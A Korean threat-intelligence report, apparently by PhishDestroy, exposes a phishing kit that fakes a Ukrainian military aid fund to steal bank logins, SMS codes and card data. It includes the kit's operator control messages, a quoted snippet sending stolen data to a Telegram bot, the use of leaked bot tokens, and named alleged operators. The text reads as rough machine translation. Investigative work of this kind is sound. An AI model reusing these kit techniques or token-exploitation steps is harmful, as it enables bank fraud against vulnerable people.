군사 원조 피싱 네트워크 적발: 5개 은행이 표적이 되었으며, 범인이 특정되었다

PhishDestroy가 발견한 것

2026년 3월 20일, PhishDestroy의 자동 위협 탐지 Pipeline이 다음을 탐지했습니다. dopomogvoina[.]sbs — 갓 등록된 도메인으로, 다음을 사칭하는 피싱 사이트를 호스팅하고 있는 "수호자의 방패" (Shield of the Defender)는 허위로 만들어진 우크라이나 군사 지원 재단입니다. 이 사이트는 우크라이나 참전 용사, 전투 중 부상자, 전사자 유가족을 대상으로 정부 재정 지원을 약속하는 한편, 우크라이나 5대 은행의 계좌 접속 정보를 탈취하고 있습니다.

다음은 당사의 자동화된 분석을 통해 밝혀진 모든 내용, 즉 사회공학적 기법, 기술적 인프라, 실시간 운영자 제어 시스템, 그리고 이를 운영하는 사람들의 신원에 대한 상세한 분석 결과입니다.

제1장: 미끼 — 가짜 군사 원조 재단

도메인 dopomogvoina[.]sbs 2026년 3월 20일에 다음을 통해 등록되었습니다. NiceNIC 인터내셔널 그룹 유한공사, 악용 사례에 대한 대응이 느리거나 아예 이루어지지 않는다는 사실이 잘 기록된 이력서를 가진 등록기관입니다. 이 .sbs TLD(Side-By-Side)는 일회용 피싱 인프라 구축에 자주 악용되는 저비용 gTLD입니다.

이 사이트는 정부와 밀접한 관련이 있는 전문적인 지원 포털인 것처럼 보입니다. 헤더에는 우크라이나 국기가 가득 차 있고, 군사적 이미지가 신뢰감을 더하며, 페이지 내용은 정식 정부 프로그램을 연상시키는 관료적인 표현을 사용해 우크라이나어로 세심하게 작성되어 있습니다.

스크린샷 5 — “Щит Захисника”(Shield of the Defender)를 사칭하는 피싱 사이트의 랜딩 페이지.

신뢰도를 높이기 위해 운영자들은 랜딩 페이지의 눈에 잘 띄는 곳에 통계 카운터를 조작해 배치했습니다:

• 2,847건의 신청 — 이는 이미 수천 명이 지원을 받았음을 시사한다
• 4,720만 ₴ 배분됨 — UAH에서 규모는 크지만 설득력 있는 인물
• 19개 프로그램 — 포괄적이고 여러 프로그램을 아우르는 운영을 시사한다

이 수치들은 전적으로 조작된 것으로, 백엔드와의 연결 없이 페이지 소스 코드에 직접 하드코딩되어 있습니다. 이 수치들은 단 하나의 목적, 즉 피해자의 망설임을 떨쳐버리게 하는 ‘사회적 증명’ 역할을 합니다.

제2장: 함정 — 5개의 은행, 하나의 목표

“Подати заявку”(신청 제출)을 클릭하면 피해자에게 은행 선택 화면이 표시됩니다. 우크라이나 최대 규모의 소매 은행 5곳이 선택지로 나타나며, 각 은행은 공식 브랜드명과 로고를 갖추고 있습니다. 바로 이 시점에서 사회공학 공격은 감정적 조작에서 기술적 절도로 전환됩니다.

스크린샷 6 — 은행 선택 화면. 각 옵션을 선택하면 맞춤형 인증 정보 탈취 절차가 시작됩니다.

해당 사이트의 자바스크립트 번들을 분석한 결과, 각 은행마다 독특한 다단계 인증 정보 수집 절차, 해당 은행의 실제 인증 절차에 맞춰 조정된:

모든 은행에 대한 공격 흐름은 다음과 같은 동일한 패턴을 따릅니다:

스크린샷 7 — 복제된 PrivatBank 로그인 화면.

스크린샷 9 — 복제된 PUMB 로그인 화면.

스크린샷 10 — 전체 공격 흐름: 가짜 군사 원조 페이지에서 시작해 은행 선택, 인증 정보 탈취, 계정 탈취에 이르기까지.

기술 스택: React SPA 다음 경로를 통해 제공되는 프론트엔드 Cloudflare CDN, 그리고 Express.js 백엔드에서 인증 정보 유출을 처리합니다. React 아키텍처를 통해 정식 은행 인터페이스와 구별할 수 없을 정도로 매끄러운 다단계 양식을 구현할 수 있습니다.

제3절: 실시간 운영자 제어

이것은 정적 데이터베이스를 사용하는 단순한 인증 정보 수집 도구가 아닙니다. 이 피싱 키트에는 실시간 WebSocket 제어판 이를 통해 운영자가 각 피해자의 세션을 실시간으로 조작할 수 있게 해줍니다.

다음 주소의 WebSocket 엔드포인트: wss://dopomogvoina[.]sbs/ws 다음 메시지 유형을 지원합니다:

register          — New victim session created
update_user_data  — Stolen credentials transmitted to operator
next_step         — Operator advances victim to next theft stage
create_application — Victim starts "aid application"
answer_question   — Operator sends custom prompt to victim

이러한 실시간 제어 기능을 통해 작업자는 다음과 같은 작업을 수행할 수 있습니다:

• 대기 상태 강제 적용 — 피해자의 실제 은행 계좌에 로그인하는 동안 “신청 처리 중...”이라는 메시지를 표시한다
• 특정 단계로 이동 — 첫 번째 SMS 코드의 유효 기간이 만료된 경우, 코드를 다시 요청하세요
• 가짜 오류 메시지 표시 — “코드가 유효하지 않습니다. 다시 입력해 주세요”라는 메시지를 이용해 여러 개의 2단계 인증 토큰을 탈취
• 사용자 지정 질문하기 — 세션 도중에 생년월일, 카드 번호 또는 기타 추가 정보를 요청하는 경우

스크린샷 8 — 인증 정보 도용을 유도하기 위해 사용된 전화번호 입력 양식.

스크린샷 11 — 피해자의 세션을 제어하기 위한 운영자의 실시간 봇 패널.

세션당 유출된 데이터의 전체 범위: phone, password, PIN, SMS code, card number, date of birth, 그리고 email.

4장: Cloudflare의 이면 — 두 개의 프로젝트, 하나의 서버

Cloudflare 프록시 기능은 원본 서버를 숨기지만, PhishDestroy의 인프라 분석 Pipeline을 통해 실제 원본 IP를 파악했습니다: 45.131.214[.]148, 다음 사이트에서 호스팅됨: RapidSeedbox / LeaseWeb 네덜란드에서.

중요한 세부 사항: dopomogvoina[.]sbs ~을 통해 중계됩니다 Cloudflare, 발신 IP를 숨기면서. 하지만 우리 시스템은 또한 hlpforvpeople[.]sbs — 동일한 NiceNIC 등록기관을 통해 등록되었으며 패턴이 일치하는 관련 도메인입니다. 해당 도메인은 Cloudflare 뒤에 있지 않음, 원본 IP 주소를 직접 노출시키면서: 45.131.214[.]148.

이 IP에 — 없이 직접 연결하려면 Host 헤더 — 예상치 못한 사실을 드러냈는데, 바로 a 완전히 다른 피싱 사이트. 우크라이나에 대한 군사 원조 대신, 기본 vhost가 제공한 "헬스케어 ID", 인도네시아 건강보험을 노린 피싱 사기 사건. 서버는 같지만, 피해자는 완전히 다르고, 국가도 완전히 다릅니다.

스크린샷 12 — 동일한 오리진 서버를 공유하는 두 건의 병행 피싱 공격: 우크라이나 군사 지원(dopomogvoina) 및 인도네시아 건강 보험(HealthCare ID).

인도네시아 피싱 템플릿은 PhishDestroy의 위협 인텔리전스 데이터베이스에 등록된 알려진 키트. 우리는 동남아시아 전역에서 인도네시아, 태국, 베트남의 금융 기관을 표적으로 삼은, 바로 이 템플릿의 변종들이 배포되는 것을 목격했습니다. 공격자들은 동일한 백엔드 인프라를 재사용하면서 국가별 템플릿만 교체할 뿐입니다.

5장: 모든 것을 드러낸 config.json

단 하나의 설정 오류가 어떻게 전체 운영을 무너뜨렸는지, 그 과정을 단계별로 살펴보겠습니다.

원본 서버의 두 번째 프로젝트를 확인한 후, PhishDestroy의 JS 분석기 — 당사의 자동화된 자바스크립트 분석 도구 —는 다음 주소의 인도네시아 피싱 사이트 번들을 대상으로 분석했습니다. https://45.131.214[.]148/assets/index-ZMQxHb_h.js. 분석기는 335KB 크기의 자바스크립트 파일에서 모든 API 엔드포인트, 외부 URL 및 구성 경로를 추출했습니다. 분석 결과 중 일부는 다음과 같습니다:

• 다음 위치에 있는 5개의 API 엔드포인트: rezervtemka[.]cc — 자격 증명 확인용 C2 패널
• 다음에 대한 WebSocket 연결: wss://rezervtemka[.]cc
• 피해자 추적을 위한 페이스북 픽셀 연동
• ~에 대한 언급 /config.json — Telegram 봇 구성을 위해 실행 시점에 불러옴

이 단서를 바탕으로, 우리는 다음을 가져왔습니다. /config.json 원본 IP에서. 이 파일은 인증 절차 없이도 접근할 수 있었으며, 웹 루트 디렉터리에 위치해 있어 누구나 읽을 수 있었습니다:

async function loadConfig() {
  const response = await fetch('/config.json');
  // ...
}
async function sendNotification() {
  const cfg = await loadConfig();
  await fetch(`https://api.telegram.org/bot${cfg.bot_token}/sendMessage`, {
    method: 'POST',
    body: JSON.stringify({ chat_id: cfg.chat_id, text: message })
  });
}

그 /config.json 해당 파일은 원본 IP에서 직접 접근할 수 있었는데 — 인증도 없고, 접근 제어 기능도 없으며, 웹 루트 디렉터리에 그냥 일반 JSON 파일이 하나 놓여 있을 뿐입니다.:

{
  "bot_token": "8724623843:AAFXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  "chat_id": "-100XXXXXXXXXX"
}

Telegram 봇 토큰은 사용자 이름이자 비밀번호 역할을 합니다. 이 토큰을 가진 사람은 누구나 해당 봇으로 API 호출을 수행할 수 있습니다. 운영자들은 자신들의 토큰을 누구나 접근할 수 있는 파일에 남겨두었습니다. API 호출을 여섯 번 거친 끝에, 우리는 모든 것을 확보했습니다:

스크린샷 13 — 완전한 OSINT 체인: 노출된 config.json에서 6번의 API 호출을 통해 운영자 신원을 완전히 파악하기까지.

단 하나의 잘못 구성된 파일에서 시작해, 단 6번의 HTTP 요청만으로 운영자를 완전히 파악할 수 있었습니다. 악용도, 무단 접근도 없었습니다. 단지 운영자들이 직접 노출해 둔 토큰을 사용한 표준 Telegram 봇 API 호출만으로도 가능했습니다.

제6장: 운영자

스크린샷 14 — 유출된 봇 토큰을 통해 드러난 Telegram 운영자 그룹 “Idr card”.

소유자 / 제작자

모네티 에스코바르

@monettiescobar

Telegram ID: 8135223234

Telegram 프리미엄, 비즈니스 프로필

시간대: UTC+3 (CIS 지역)

공개 메시지 10건 — 엄격한 OPSEC

TraFFeeQ 채팅메두사 구글 애즈딥페이크 채널

운영 담당자 / 교통

보냐

@BoaCC159

Telegram ID: 6242202706

일명: PapaZakonVor, Boa, bubullikk

12개 그룹에 걸쳐 총 261개의 메시지

DC2 — 암스테르담, 네덜란드

CryptoGrabSTYX 마켓레이븐 CCEMPIRE 채팅피닉스 솔루션

개발자 / 프로그래머

데보이스

@devosus

Telegram ID: 8213612730

피싱 키트 개발자 — 운영자들은 그를 ‘코더’라고 부른다

보안 침해 사실이 발견되었을 때 “방어책을 마련하라”는 요청을 받았다

설계상 공공 공간에 미치는 영향을 최소화

손잡이 @devosus ≈ "dev ops us" — 사용자 이름으로 직책 사용

키트 개발자인프라보안

모네티 에스코바르 — 보스

MONETTI는 엄격한 운영 보안을 유지하고 있으며 — 오직 공개 메시지 10개 두 그룹에 걸쳐. 하지만 이 그룹들이 그 상황을 잘 보여줍니다: TraFFeeQ 채팅 (사기 목적의 트래픽 차익 거래), 메두사 구글 애즈 (블랙햇 구글 광고), 그리고 딥페이크 채널. 그의 Telegram 비즈니스 프로필에는 “Есть предложение” ("제안이 하나 있습니다") — 서비스를 공개적으로 홍보하고 있다. UTC+3 시간대(모스크바/민스크/키예프와 동일)와 연중무휴 24시간 운영은 이 업체가 CIS 지역을 기반으로 24시간 내내 운영되고 있음을 보여준다.

보냐 — 부주의한 자

MONETTI의 신중한 OPSEC과는 달리, Bonya(이전 별칭: PapaZakonVor — 대략 “DaddyThiefByLaw” —는 방대한 디지털 흔적을 남겼는데 — 12개의 지하 단체에 걸쳐 총 261건의 메시지. 그의 채팅 기록은 마치 범죄 이력서처럼 읽힌다:

그가 속한 단체들을 살펴보면 전체적인 그림이 드러납니다: CryptoGrab (암호화폐 지갑 탈취범들), STYX 마켓 (도난 데이터의 암시장), Raven CC 검사기 (신용카드 유효성 검사 도구), EMPIRE 채팅 그리고 피닉스 솔루션 (사기 공모). 이 사람은 일회성 범인이 아니라, 사이버 범죄 생태계에 깊이 뿌리내린 인물입니다.

Devoys — 개발사

작전의 기술적 중추. 설계상 대외적 노출을 최소화한 시스템이었는데, 조직이 해킹당했을 때 보냐는 명시적으로 그에게 도움을 요청했다: "@devosus, 우리가 완전히 박살 나기 전에 방어 전략을 좀 생각해 봐" — "@devosus, 우리가 완전히 박살 나기 전에 방어 전략을 좀 생각해 봐." 이 사건에 대한 그의 비꼬는 반응은 — "인터폴에 갈 때" ("보간을 언제 수행해야 하는가") — 이는 이번이 처음 겪는 아슬아슬한 상황이 아니라는 것을 시사한다.

행동 분석: 261건의 메시지 해독

PhishDestroy의 OSINT Pipeline을 통해 수집 및 번역됨 총 261개의 공개 게시물 Bonya가 12개의 Telegram 지하 그룹을 통해 공유한 내용(2024년 6월 ~ 2026년 3월). DeepL API를 통한 기계 번역 후 수동으로 문맥을 수정함. 이 메시지들은 범죄 활동 유형별로 아래에 분류된 완전한 운영 프로필을 보여준다.

은행 사기 및 피싱

자금 세탁 중개자 및 현금 인출

트래픽 사기 및 광고 남용

모네티 에스코바르: 침묵의 보스

보냐의 261개 게시물과는 극명한 대조를 이루는 반면, MONETTI는 단 공개 메시지 10개 — 이 모든 내용이 다음의 단일 스레드에 담겨 있습니다. TraFFeeQ 채팅 (블랙 ADS/SEO 트래픽 차익거래), 동료를 변호하며:

MONETTI의 Telegram 그룹에서 나머지 내용을 확인할 수 있습니다: 메두사 구글 애즈 (블랙햇 PPC 사기), a 딥페이크 채널 (사기용 합성 미디어), 그리고 말보로 채팅 (비공개, 미상). Telegram 프리미엄 구독, 연중무휴 24시간 운영, 그리고 “Есть предложение”("제안이 하나 있습니다") 그의 사업 이력은 사이버 범죄를 전업으로 삼는 사람의 모습을 여실히 보여준다.

스크린샷 2 — MONETTI의 Telegram 프로필.

스크린샷 3 — 보냐의 프로필. DC2(암스테르담)에 주목하세요.

제7장: 패닉 룸

PhishDestroy가 노출된 Telegram 봇을 통해 운영자 그룹에 접속한 후, 다음과 같은 대화가 오갔다. 아래 채팅 기록은 영어로 번역되었으며, 원문의 러시아어 내용은 이탤릭체로 표시되어 있다. 접속에 사용된 신원 정보는 삭제되었다.

그 그룹은 몇 분 만에 삭제되었다. 보냐가 남긴 마지막 반응인 “+”와 데보이가 “응”이라고 답한 것만으로도 모든 상황이 설명된다: 그들은 자신의 정체가 들통났다는 것을 알고 있었고, 증거를 없애는 것만이 유일한 선택지였다. 하지만 그때쯤에는 데이터가 이미 수집된 후였다.

보냐의 의미심장한 발언을 주목해 보자: "우크라이나 봇에서도 공격을 받았어요" — 두 프로젝트(우크라이나 및 인도네시아) 모두 동일한 운영 팀을 공유하고 있으며, 이들의 인프라가 침해당한 것은 이번이 처음이 아니라는 점이 확인되었다.

제8절: 이것이 시사하는 바

수사 일지

관련 도메인

우리의 분석을 통해 두 번째 영역이 확인되었는데 — hlpforvpeople[.]sbs — 동일한 등록 기관을 통해 등록되었으며 인프라 패턴이 일치합니다. 두 도메인 모두 당사 데이터베이스에 기록되어 있습니다:

• PhishDestroy 보고서: dopomogvoina[.]sbs
• PhishDestroy 보고서: hlpforvpeople[.]sbs

주요 내용

• 자동화야말로 변화의 속도를 따라잡을 수 있는 유일한 방법입니다. 피싱 키트는 몇 시간 만에 배포되고 악용됩니다. 수동 검토만으로는 이에 대응할 수 있는 규모를 확보할 수 없습니다.
• 운영자들도 실수를 합니다. 부수적인 프로젝트에서 노출된 설정 파일 하나로 인해 다국적 피싱 작전 전체가 적발되었습니다. 모든 프로젝트에서 완벽한 OPSEC을 유지하기는 어렵습니다.
• 사회 공학은 뉴스의 흐름에 따라 진화합니다. 전쟁, 인도적 지원, 정부 지원 프로그램은 곤경에 처한 사람들을 표적으로 삼아, 이들이 그 정당성을 의심할 가능성이 적기 때문에 피싱 미끼로 점점 더 많이 악용되고 있다.
• 인프라 재사용은 이제 일반적인 관행입니다. 서버 한 대, 피싱 프로젝트 두 개, 국가 두 곳, 운영자는 동일하다. 인프라 연결 관계를 파악하면 단일 도메인을 개별적으로 분석하는 것보다 훨씬 더 많은 정보를 얻을 수 있다.

면책 조항: 이번 조사는 전적으로 수동 정찰과 공개 API를 통해 수행되었습니다. 어떠한 시스템에 대해서도 무단 접근은 이루어지지 않았습니다. Telegram 봇 API 호출에는 운영자가 인증이 필요 없는 엔드포인트에 공개한 토큰이 사용되었습니다. 이 기사에 언급된 모든 도메인 이름은 표준 정보 보안 관행에 따라 식별 정보를 제거했습니다.